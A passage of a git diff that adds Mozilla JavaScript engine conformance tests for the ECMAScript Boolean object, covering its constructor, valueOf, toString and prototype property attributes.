+new TestCase( SECTION, "typeof new Boolean('0')", "object", typeof new Boolean('0') );
+new TestCase( SECTION, "(new Boolean('-1')).constructor", Boolean.prototype.constructor, (new Boolean('-1')).constructor );
+new TestCase( SECTION,
+ "TESTBOOL=new Boolean('-1');TESTBOOL.toString=Object.prototype.toString;TESTBOOL.toString()",
+ "[object Boolean]",
+ eval("TESTBOOL=new Boolean('-1');TESTBOOL.toString=Object.prototype.toString;TESTBOOL.toString()") );
+new TestCase( SECTION, "(new Boolean('-1')).valueOf()", true, (new Boolean('-1')).valueOf() );
+new TestCase( SECTION, "typeof new Boolean('-1')", "object", typeof new Boolean('-1') );
+new TestCase( SECTION, "(new Boolean(new Boolean(true))).constructor", Boolean.prototype.constructor, (new Boolean(new Boolean(true))).constructor );
+new TestCase( SECTION,
+ "TESTBOOL=new Boolean(new Boolean(true));TESTBOOL.toString=Object.prototype.toString;TESTBOOL.toString()",
+ "[object Boolean]",
+ eval("TESTBOOL=new Boolean(new Boolean(true));TESTBOOL.toString=Object.prototype.toString;TESTBOOL.toString()") );
+new TestCase( SECTION, "(new Boolean(new Boolean(true))).valueOf()", true, (new Boolean(new Boolean(true))).valueOf() );
+new TestCase( SECTION, "typeof new Boolean(new Boolean(true))", "object", typeof new Boolean(new Boolean(true)) );
+new TestCase( SECTION, "(new Boolean(Number.NaN)).constructor", Boolean.prototype.constructor, (new Boolean(Number.NaN)).constructor );
+new TestCase( SECTION,
+ "TESTBOOL=new Boolean(Number.NaN);TESTBOOL.toString=Object.prototype.toString;TESTBOOL.toString()",
+ "[object Boolean]",
+ eval("TESTBOOL=new Boolean(Number.NaN);TESTBOOL.toString=Object.prototype.toString;TESTBOOL.toString()") );
+new TestCase( SECTION, "(new Boolean(Number.NaN)).valueOf()", false, (new Boolean(Number.NaN)).valueOf() );
+new TestCase( SECTION, "typeof new Boolean(Number.NaN)", "object", typeof new Boolean(Number.NaN) );
+new TestCase( SECTION, "(new Boolean(null)).constructor", Boolean.prototype.constructor, (new Boolean(null)).constructor );
+new TestCase( SECTION,
+ "TESTBOOL=new Boolean(null);TESTBOOL.toString=Object.prototype.toString;TESTBOOL.toString()",
+ "[object Boolean]",
+ eval("TESTBOOL=new Boolean(null);TESTBOOL.toString=Object.prototype.toString;TESTBOOL.toString()") );
+new TestCase( SECTION, "(new Boolean(null)).valueOf()", false, (new Boolean(null)).valueOf() );
+new TestCase( SECTION, "typeof new Boolean(null)", "object", typeof new Boolean(null) );
+new TestCase( SECTION, "(new Boolean(void 0)).constructor", Boolean.prototype.constructor, (new Boolean(void 0)).constructor );
+new TestCase( SECTION,
+ "TESTBOOL=new Boolean(void 0);TESTBOOL.toString=Object.prototype.toString;TESTBOOL.toString()",
+ "[object Boolean]",
+ eval("TESTBOOL=new Boolean(void 0);TESTBOOL.toString=Object.prototype.toString;TESTBOOL.toString()") );
+new TestCase( SECTION, "(new Boolean(void 0)).valueOf()", false, (new Boolean(void 0)).valueOf() );
+new TestCase( SECTION, "typeof new Boolean(void 0)", "object", typeof new Boolean(void 0) );
+new TestCase( SECTION, "(new Boolean(Number.POSITIVE_INFINITY)).constructor", Boolean.prototype.constructor, (new Boolean(Number.POSITIVE_INFINITY)).constructor );
+new TestCase( SECTION,
+ "TESTBOOL=new Boolean(Number.POSITIVE_INFINITY);TESTBOOL.toString=Object.prototype.toString;TESTBOOL.toString()",
+ "[object Boolean]",
+ eval("TESTBOOL=new Boolean(Number.POSITIVE_INFINITY);TESTBOOL.toString=Object.prototype.toString;TESTBOOL.toString()") );
+new TestCase( SECTION, "(new Boolean(Number.POSITIVE_INFINITY)).valueOf()", true, (new Boolean(Number.POSITIVE_INFINITY)).valueOf() );
+new TestCase( SECTION, "typeof new Boolean(Number.POSITIVE_INFINITY)", "object", typeof new Boolean(Number.POSITIVE_INFINITY) );
+new TestCase( SECTION, "(new Boolean(Number.NEGATIVE_INFINITY)).constructor", Boolean.prototype.constructor, (new Boolean(Number.NEGATIVE_INFINITY)).constructor );
+new TestCase( SECTION,
+ "TESTBOOL=new Boolean(Number.NEGATIVE_INFINITY);TESTBOOL.toString=Object.prototype.toString;TESTBOOL.toString()",
+ "[object Boolean]",
+ eval("TESTBOOL=new Boolean(Number.NEGATIVE_INFINITY);TESTBOOL.toString=Object.prototype.toString;TESTBOOL.toString()") );
+new TestCase( SECTION, "(new Boolean(Number.NEGATIVE_INFINITY)).valueOf()", true, (new Boolean(Number.NEGATIVE_INFINITY)).valueOf() );
+new TestCase( SECTION, "typeof new Boolean(Number.NEGATIVE_INFINITY)", "object", typeof new Boolean(Number.NEGATIVE_INFINITY) );
+new TestCase( SECTION, "(new Boolean(Number.NEGATIVE_INFINITY)).constructor", Boolean.prototype.constructor, (new Boolean(Number.NEGATIVE_INFINITY)).constructor );
+new TestCase( "15.6.2.2",
+ "TESTBOOL=new Boolean();TESTBOOL.toString=Object.prototype.toString;TESTBOOL.toString()",
+ "[object Boolean]",
+ eval("TESTBOOL=new Boolean();TESTBOOL.toString=Object.prototype.toString;TESTBOOL.toString()") );
+new TestCase( "15.6.2.2", "(new Boolean()).valueOf()", false, (new Boolean()).valueOf() );
+new TestCase( "15.6.2.2", "typeof new Boolean()", "object", typeof new Boolean() );
+
+test();
diff --git a/js/src/tests/ecma/Boolean/15.6.3.1-1.js b/js/src/tests/ecma/Boolean/15.6.3.1-1.js
new file mode 100644
index 000000000..5ab8d98c3
--- /dev/null
+++ b/js/src/tests/ecma/Boolean/15.6.3.1-1.js
@@ -0,0 +1,38 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.6.3.1-1.js
+ ECMA Section: 15.6.3 Boolean.prototype
+
+ Description: The initial value of Boolean.prototype is the built-in
+ Boolean prototype object (15.6.4).
+
+ The property shall have the attributes [DontEnum,
+ DontDelete, ReadOnly ].
+
+ This tests the DontEnum property of Boolean.prototype
+
+ Author: christine@netscape.com
+ Date: june 27, 1997
+
+*/
+var SECTION = "15.6.3.1-1";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Boolean.prototype";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+
+var array = new Array();
+var item = 0;
+
+new TestCase( SECTION,
+ "var str='';for ( p in Boolean ) { str += p } str;",
+ "",
+ eval("var str='';for ( p in Boolean ) { str += p } str;") );
+test();
diff --git a/js/src/tests/ecma/Boolean/15.6.3.1-2.js b/js/src/tests/ecma/Boolean/15.6.3.1-2.js
new file mode 100644
index 000000000..ae9a52da5
--- /dev/null
+++ b/js/src/tests/ecma/Boolean/15.6.3.1-2.js
@@ -0,0 +1,37 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.6.3.1-2.js
+ ECMA Section: 15.6.3.1 Boolean.prototype
+
+ Description: The initial valu eof Boolean.prototype is the built-in
+ Boolean prototype object (15.6.4).
+
+ The property shall have the attributes [DontEnum,
+ DontDelete, ReadOnly ].
+
+ This tests the DontDelete property of Boolean.prototype
+
+ Author: christine@netscape.com
+ Date: june 27, 1997
+
+*/
+var SECTION = "15.6.3.1-2";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Boolean.prototype"
+ writeHeaderToLog( SECTION + TITLE );
+
+var array = new Array();
+var item = 0;
+
+new TestCase( SECTION,
+ "delete( Boolean.prototype)",
+ false,
+ delete( Boolean.prototype) );
+
+test();
diff --git a/js/src/tests/ecma/Boolean/15.6.3.1-3.js b/js/src/tests/ecma/Boolean/15.6.3.1-3.js
new file mode 100644
index 000000000..f682294f6
--- /dev/null
+++ b/js/src/tests/ecma/Boolean/15.6.3.1-3.js
@@ -0,0 +1,37 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.6.3.1-3.js
+ ECMA Section: 15.6.3.1 Boolean.prototype
+
+ Description: The initial valu eof Boolean.prototype is the built-in
+ Boolean prototype object (15.6.4).
+
+ The property shall have the attributes [DontEnum,
+ DontDelete, ReadOnly ].
+
+ This tests the DontDelete property of Boolean.prototype
+
+ Author: christine@netscape.com
+ Date: june 27, 1997
+
+*/
+var SECTION = "15.6.3.1-3";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Boolean.prototype"
+ writeHeaderToLog( SECTION + TITLE );
+
+var array = new Array();
+var item = 0;
+
+new TestCase( SECTION,
+ "delete( Boolean.prototype); Boolean.prototype",
+ Boolean.prototype,
+ eval("delete( Boolean.prototype); Boolean.prototype") );
+
+test();
diff --git a/js/src/tests/ecma/Boolean/15.6.3.1-4.js b/js/src/tests/ecma/Boolean/15.6.3.1-4.js
new file mode 100644
index 000000000..baca269f8
--- /dev/null
+++ b/js/src/tests/ecma/Boolean/15.6.3.1-4.js
@@ -0,0 +1,41 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.6.3.1-4.js
+ ECMA Section: 15.6.3.1 Properties of the Boolean Prototype Object
+
+ Description: The initial value of Boolean.prototype is the built-in
+ Boolean prototype object (15.6.4).
+
+ The property shall have the attributes [DontEnum,
+ DontDelete, ReadOnly ].
+
+ This tests the ReadOnly property of Boolean.prototype
+
+ Author: christine@netscape.com
+ Date: 30 september 1997
+
+*/
+var SECTION = "15.6.3.1-4";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Boolean.prototype"
+ writeHeaderToLog( SECTION + TITLE );
+
+var BOOL_PROTO = Boolean.prototype;
+
+new TestCase( SECTION,
+ "var BOOL_PROTO = Boolean.prototype; Boolean.prototype=null; Boolean.prototype == BOOL_PROTO",
+ true,
+ eval("var BOOL_PROTO = Boolean.prototype; Boolean.prototype=null; Boolean.prototype == BOOL_PROTO") );
+
+new TestCase( SECTION,
+ "var BOOL_PROTO = Boolean.prototype; Boolean.prototype=null; Boolean.prototype == null",
+ false,
+ eval("var BOOL_PROTO = Boolean.prototype; Boolean.prototype=null; Boolean.prototype == null") );
+
+test();
diff --git a/js/src/tests/ecma/Boolean/15.6.3.1.js b/js/src/tests/ecma/Boolean/15.6.3.1.js
new file mode 100644
index 000000000..b47524356
--- /dev/null
+++ b/js/src/tests/ecma/Boolean/15.6.3.1.js
@@ -0,0 +1,35 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.6.3.1.js
+ ECMA Section: 15.6.3.1 Boolean.prototype
+
+ Description: The initial valu eof Boolean.prototype is the built-in
+ Boolean prototype object (15.6.4).
+
+ The property shall have the attributes [DontEnum,
+ DontDelete, ReadOnly ].
+
+ It has the internal [[Call]] and [[Construct]]
+ properties (not tested), and the length property.
+
+ Author: christine@netscape.com
+ Date: june 27, 1997
+
+*/
+
+var SECTION = "15.6.3.1";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Boolean.prototype";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+new TestCase( SECTION, "Boolean.prototype.valueOf()", false, Boolean.prototype.valueOf() );
+new TestCase( SECTION, "Boolean.length", 1, Boolean.length );
+
+test();
diff --git a/js/src/tests/ecma/Boolean/15.6.4-1.js b/js/src/tests/ecma/Boolean/15.6.4-1.js
new file mode 100644
index 000000000..e1e53b5c2
--- /dev/null
+++ b/js/src/tests/ecma/Boolean/15.6.4-1.js
@@ -0,0 +1,38 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.6.4-1.js
+ ECMA Section: 15.6.4 Properties of the Boolean Prototype Object
+
+ Description:
+ The Boolean prototype object is itself a Boolean object (its [[Class]] is
+ "Boolean") whose value is false.
+
+ The value of the internal [[Prototype]] property of the Boolean prototype object
+ is the Object prototype object (15.2.3.1).
+
+ Author: christine@netscape.com
+ Date: 30 september 1997
+
+*/
+
+
+var VERSION = "ECMA_1"
+ startTest();
+var SECTION = "15.6.4-1";
+
+writeHeaderToLog( SECTION + " Properties of the Boolean Prototype Object");
+
+new TestCase( SECTION, "typeof Boolean.prototype == typeof( new Boolean )", true, typeof Boolean.prototype == typeof( new Boolean ) );
+new TestCase( SECTION, "typeof( Boolean.prototype )", "object", typeof(Boolean.prototype) );
+new TestCase( SECTION,
+ "Boolean.prototype.toString = Object.prototype.toString; Boolean.prototype.toString()",
+ "[object Boolean]",
+ eval("Boolean.prototype.toString = Object.prototype.toString; Boolean.prototype.toString()") );
+new TestCase( SECTION, "Boolean.prototype.valueOf()", false, Boolean.prototype.valueOf() );
+
+test();
diff --git a/js/src/tests/ecma/Boolean/15.6.4.1.js b/js/src/tests/ecma/Boolean/15.6.4.1.js
new file mode 100644
index 000000000..d2cf73c9c
--- /dev/null
+++ b/js/src/tests/ecma/Boolean/15.6.4.1.js
@@ -0,0 +1,28 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.6.4.1.js
+ ECMA Section: 15.6.4.1 Boolean.prototype.constructor
+
+ Description: The initial value of Boolean.prototype.constructor
+ is the built-in Boolean constructor.
+
+ Author: christine@netscape.com
+ Date: 30 september 1997
+
+*/
+var SECTION = "15.6.4.1";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Boolean.prototype.constructor"
+ writeHeaderToLog( SECTION + TITLE );
+
+new TestCase( SECTION,
+ "( Boolean.prototype.constructor == Boolean )",
+ true ,
+ (Boolean.prototype.constructor == Boolean) );
+test();
diff --git a/js/src/tests/ecma/Boolean/15.6.4.2-1.js b/js/src/tests/ecma/Boolean/15.6.4.2-1.js
new file mode 100644
index 000000000..f2f3e1a45
--- /dev/null
+++ b/js/src/tests/ecma/Boolean/15.6.4.2-1.js
@@ -0,0 +1,63 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.6.4.2.js
+ ECMA Section: 15.6.4.2-1 Boolean.prototype.toString()
+ Description: If this boolean value is true, then the string "true"
+ is returned; otherwise this boolean value must be false,
+ and the string "false" is returned.
+
+ The toString function is not generic; it generates
+ a runtime error if its this value is not a Boolean
+ object. Therefore it cannot be transferred to other
+ kinds of objects for use as a method.
+
+ Author: christine@netscape.com
+ Date: june 27, 1997
+*/
+
+var SECTION = "15.6.4.2-1";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Boolean.prototype.toString()"
+ writeHeaderToLog( SECTION + TITLE );
+
+
+new TestCase( SECTION, "new Boolean(1)", "true", (new Boolean(1)).toString() );
+new TestCase( SECTION, "new Boolean(0)", "false", (new Boolean(0)).toString() );
+new TestCase( SECTION, "new Boolean(-1)", "true", (new Boolean(-1)).toString() );
+new TestCase( SECTION, "new Boolean('1')", "true", (new Boolean("1")).toString() );
+new TestCase( SECTION, "new Boolean('0')", "true", (new Boolean("0")).toString() );
+new TestCase( SECTION, "new Boolean(true)", "true", (new Boolean(true)).toString() );
+new TestCase( SECTION, "new Boolean(false)", "false", (new Boolean(false)).toString() );
+new TestCase( SECTION, "new Boolean('true')", "true", (new Boolean('true')).toString() );
+new TestCase( SECTION, "new Boolean('false')", "true", (new Boolean('false')).toString() );
+
+new TestCase( SECTION, "new Boolean('')", "false", (new Boolean('')).toString() );
+new TestCase( SECTION, "new Boolean(null)", "false", (new Boolean(null)).toString() );
+new TestCase( SECTION, "new Boolean(void(0))", "false", (new Boolean(void(0))).toString() );
+new TestCase( SECTION, "new Boolean(-Infinity)", "true", (new Boolean(Number.NEGATIVE_INFINITY)).toString() );
+new TestCase( SECTION, "new Boolean(NaN)", "false", (new Boolean(Number.NaN)).toString() );
+new TestCase( SECTION, "new Boolean()", "false", (new Boolean()).toString() );
+new TestCase( SECTION, "new Boolean(x=1)", "true", (new Boolean(x=1)).toString() );
+new TestCase( SECTION, "new Boolean(x=0)", "false", (new Boolean(x=0)).toString() );
+new TestCase( SECTION, "new Boolean(x=false)", "false", (new Boolean(x=false)).toString() );
+new TestCase( SECTION, "new Boolean(x=true)", "true", (new Boolean(x=true)).toString() );
+new TestCase( SECTION, "new Boolean(x=null)", "false", (new Boolean(x=null)).toString() );
+new TestCase( SECTION, "new Boolean(x='')", "false", (new Boolean(x="")).toString() );
+new TestCase( SECTION, "new Boolean(x=' ')", "true", (new Boolean(x=" ")).toString() );
+
+new TestCase( SECTION, "new Boolean(new MyObject(true))", "true", (new Boolean(new MyObject(true))).toString() );
+new TestCase( SECTION, "new Boolean(new MyObject(false))", "true", (new Boolean(new MyObject(false))).toString() );
+
+test();
+
+function MyObject( value ) {
+ this.value = value;
+ this.valueOf = new Function( "return this.value" );
+ return this;
+}
diff --git a/js/src/tests/ecma/Boolean/15.6.4.2-2.js b/js/src/tests/ecma/Boolean/15.6.4.2-2.js
new file mode 100644
index 000000000..93c6ba4ba
--- /dev/null
+++ b/js/src/tests/ecma/Boolean/15.6.4.2-2.js
@@ -0,0 +1,39 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.6.4.2-2.js
+ ECMA Section: 15.6.4.2 Boolean.prototype.toString()
+ Description: Returns this boolean value.
+
+ The toString function is not generic; it generates
+ a runtime error if its this value is not a Boolean
+ object. Therefore it cannot be transferred to other
+ kinds of objects for use as a method.
+
+ Author: christine@netscape.com
+ Date: june 27, 1997
+*/
+
+var SECTION = "15.6.4.2-2";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Boolean.prototype.toString()"
+ writeHeaderToLog( SECTION + TITLE );
+
+new TestCase( SECTION,
+ "tostr=Boolean.prototype.toString; x=new Boolean(); x.toString=tostr;x.toString()",
+ "false",
+ eval("tostr=Boolean.prototype.toString; x=new Boolean(); x.toString=tostr;x.toString()") );
+new TestCase( SECTION,
+ "tostr=Boolean.prototype.toString; x=new Boolean(true); x.toString=tostr; x.toString()",
+ "true",
+ eval("tostr=Boolean.prototype.toString; x=new Boolean(true); x.toString=tostr; x.toString()") );
+new TestCase( SECTION,
+ "tostr=Boolean.prototype.toString; x=new Boolean(false); x.toString=tostr;x.toString()",
+ "false",
+ eval("tostr=Boolean.prototype.toString; x=new Boolean(); x.toString=tostr;x.toString()") );
+test();
diff --git a/js/src/tests/ecma/Boolean/15.6.4.2-3.js b/js/src/tests/ecma/Boolean/15.6.4.2-3.js
new file mode 100644
index 000000000..1dbb63af0
--- /dev/null
+++ b/js/src/tests/ecma/Boolean/15.6.4.2-3.js
@@ -0,0 +1,31 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.6.4.2-3.js
+ ECMA Section: 15.6.4.2 Boolean.prototype.toString()
+ Description: Returns this boolean value.
+
+ The toString function is not generic; it generates
+ a runtime error if its this value is not a Boolean
+ object. Therefore it cannot be transferred to other
+ kinds of objects for use as a method.
+
+ Author: christine@netscape.com
+ Date: june 27, 1997
+*/
+
+
+var SECTION = "15.6.4.2-3";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Boolean.prototype.toString()"
+ writeHeaderToLog( SECTION + TITLE );
+
+new TestCase( SECTION, "tostr=Boolean.prototype.toString; x=true; x.toString=tostr;x.toString()", "true", eval("tostr=Boolean.prototype.toString; x=true; x.toString=tostr;x.toString()") );
+new TestCase( SECTION, "tostr=Boolean.prototype.toString; x=false; x.toString=tostr;x.toString()", "false", eval("tostr=Boolean.prototype.toString; x=false; x.toString=tostr;x.toString()") );
+
+test();
diff --git a/js/src/tests/ecma/Boolean/15.6.4.2-4-n.js b/js/src/tests/ecma/Boolean/15.6.4.2-4-n.js
new file mode 100644
index 000000000..3539a80c5
--- /dev/null
+++ b/js/src/tests/ecma/Boolean/15.6.4.2-4-n.js
@@ -0,0 +1,35 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.6.4.2-4.js
+ ECMA Section: 15.6.4.2 Boolean.prototype.toString()
+ Description: Returns this boolean value.
+
+ The toString function is not generic; it generates
+ a runtime error if its this value is not a Boolean
+ object. Therefore it cannot be transferred to other
+ kinds of objects for use as a method.
+
+ Author: christine@netscape.com
+ Date: june 27, 1997
+*/
+
+var SECTION = "15.6.4.2-4-n";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Boolean.prototype.toString()";
+writeHeaderToLog( SECTION +" "+ TITLE );
+
+DESCRIPTION = "tostr=Boolean.prototype.toString; x=new String( 'hello' ); x.toString=tostr; x.toString()";
+EXPECTED = "error";
+
+new TestCase( SECTION,
+ "tostr=Boolean.prototype.toString; x=new String( 'hello' ); x.toString=tostr; x.toString()",
+ "error",
+ eval("tostr=Boolean.prototype.toString; x=new String( 'hello' ); x.toString=tostr; x.toString()") );
+
+test();
diff --git a/js/src/tests/ecma/Boolean/15.6.4.3-1.js b/js/src/tests/ecma/Boolean/15.6.4.3-1.js
new file mode 100644
index 000000000..8f139f940
--- /dev/null
+++ b/js/src/tests/ecma/Boolean/15.6.4.3-1.js
@@ -0,0 +1,54 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.6.4.3.js
+ ECMA Section: 15.6.4.3 Boolean.prototype.valueOf()
+ Description: Returns this boolean value.
+
+ The valueOf function is not generic; it generates
+ a runtime error if its this value is not a Boolean
+ object. Therefore it cannot be transferred to other
+ kinds of objects for use as a method.
+
+ Author: christine@netscape.com
+ Date: june 27, 1997
+*/
+
+var SECTION = "15.6.4.3-1";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Boolean.prototype.valueOf()";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+new TestCase( SECTION, "new Boolean(1)", true, (new Boolean(1)).valueOf() );
+
+new TestCase( SECTION, "new Boolean(0)", false, (new Boolean(0)).valueOf() );
+new TestCase( SECTION, "new Boolean(-1)", true, (new Boolean(-1)).valueOf() );
+new TestCase( SECTION, "new Boolean('1')", true, (new Boolean("1")).valueOf() );
+new TestCase( SECTION, "new Boolean('0')", true, (new Boolean("0")).valueOf() );
+new TestCase( SECTION, "new Boolean(true)", true, (new Boolean(true)).valueOf() );
+new TestCase( SECTION, "new Boolean(false)", false, (new Boolean(false)).valueOf() );
+new TestCase( SECTION, "new Boolean('true')", true, (new Boolean("true")).valueOf() );
+new TestCase( SECTION, "new Boolean('false')", true, (new Boolean('false')).valueOf() );
+
+new TestCase( SECTION, "new Boolean('')", false, (new Boolean('')).valueOf() );
+new TestCase( SECTION, "new Boolean(null)", false, (new Boolean(null)).valueOf() );
+new TestCase( SECTION, "new Boolean(void(0))", false, (new Boolean(void(0))).valueOf() );
+new TestCase( SECTION, "new Boolean(-Infinity)", true, (new Boolean(Number.NEGATIVE_INFINITY)).valueOf() );
+new TestCase( SECTION, "new Boolean(NaN)", false, (new Boolean(Number.NaN)).valueOf() );
+new TestCase( SECTION, "new Boolean()", false, (new Boolean()).valueOf() );
+
+new TestCase( SECTION, "new Boolean(x=1)", true, (new Boolean(x=1)).valueOf() );
+new TestCase( SECTION, "new Boolean(x=0)", false, (new Boolean(x=0)).valueOf() );
+new TestCase( SECTION, "new Boolean(x=false)", false, (new Boolean(x=false)).valueOf() );
+new TestCase( SECTION, "new Boolean(x=true)", true, (new Boolean(x=true)).valueOf() );
+new TestCase( SECTION, "new Boolean(x=null)", false, (new Boolean(x=null)).valueOf() );
+new TestCase( SECTION, "new Boolean(x='')", false, (new Boolean(x="")).valueOf() );
+new TestCase( SECTION, "new Boolean(x=' ')", true, (new Boolean(x=" ")).valueOf() );
+
+test();
diff --git a/js/src/tests/ecma/Boolean/15.6.4.3-2.js b/js/src/tests/ecma/Boolean/15.6.4.3-2.js
new file mode 100644
index 000000000..527524117
--- /dev/null
+++ b/js/src/tests/ecma/Boolean/15.6.4.3-2.js
@@ -0,0 +1,33 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.6.4.3-2.js
+ ECMA Section: 15.6.4.3 Boolean.prototype.valueOf()
+ Description: Returns this boolean value.
+
+ The valueOf function is not generic; it generates
+ a runtime error if its this value is not a Boolean
+ object. Therefore it cannot be transferred to other
+ kinds of objects for use as a method.
+
+ Author: christine@netscape.com
+ Date: june 27, 1997
+*/
+
+var SECTION = "15.6.4.3-2";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Boolean.prototype.valueOf()";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+
+new TestCase( SECTION, "valof=Boolean.prototype.valueOf; x=new Boolean(); x.valueOf=valof;x.valueOf()", false, eval("valof=Boolean.prototype.valueOf; x=new Boolean(); x.valueOf=valof;x.valueOf()") );
+
+new TestCase( SECTION, "valof=Boolean.prototype.valueOf; x=new Boolean(true); x.valueOf=valof;x.valueOf()", true, eval("valof=Boolean.prototype.valueOf; x=new Boolean(true); x.valueOf=valof;x.valueOf()") );
+
+test();
diff --git a/js/src/tests/ecma/Boolean/15.6.4.3-3.js b/js/src/tests/ecma/Boolean/15.6.4.3-3.js
new file mode 100644
index 000000000..06d7ecb84
--- /dev/null
+++ b/js/src/tests/ecma/Boolean/15.6.4.3-3.js
@@ -0,0 +1,32 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.6.4.3-3.js
+ ECMA Section: 15.6.4.3 Boolean.prototype.valueOf()
+ Description: Returns this boolean value.
+
+ The valueOf function is not generic; it generates
+ a runtime error if its this value is not a Boolean
+ object. Therefore it cannot be transferred to other
+ kinds of objects for use as a method.
+
+ Author: christine@netscape.com
+ Date: june 27, 1997
+*/
+
+var SECTION = "15.6.4.3-3";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Boolean.prototype.valueOf()";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+new TestCase( SECTION,
+ "x=true; x.valueOf=Boolean.prototype.valueOf;x.valueOf()",
+ true,
+ eval("x=true; x.valueOf=Boolean.prototype.valueOf;x.valueOf()") );
+test();
diff --git a/js/src/tests/ecma/Boolean/15.6.4.3-4-n.js b/js/src/tests/ecma/Boolean/15.6.4.3-4-n.js
new file mode 100644
index 000000000..cdba1210c
--- /dev/null
+++ b/js/src/tests/ecma/Boolean/15.6.4.3-4-n.js
@@ -0,0 +1,35 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.6.4.3-4.js
+ ECMA Section: 15.6.4.3 Boolean.prototype.valueOf()
+ Description: Returns this boolean value.
+
+ The valueOf function is not generic; it generates
+ a runtime error if its this value is not a Boolean
+ object. Therefore it cannot be transferred to other
+ kinds of objects for use as a method.
+
+ Author: christine@netscape.com
+ Date: june 27, 1997
+*/
+var SECTION = "15.6.4.3-4-n";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Boolean.prototype.valueOf()";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+DESCRIPTION = "valof=Boolean.prototype.valueOf; x=new String( 'hello' ); x.valueOf=valof;x.valueOf()"
+ EXPECTED = "error";
+
+new TestCase( SECTION,
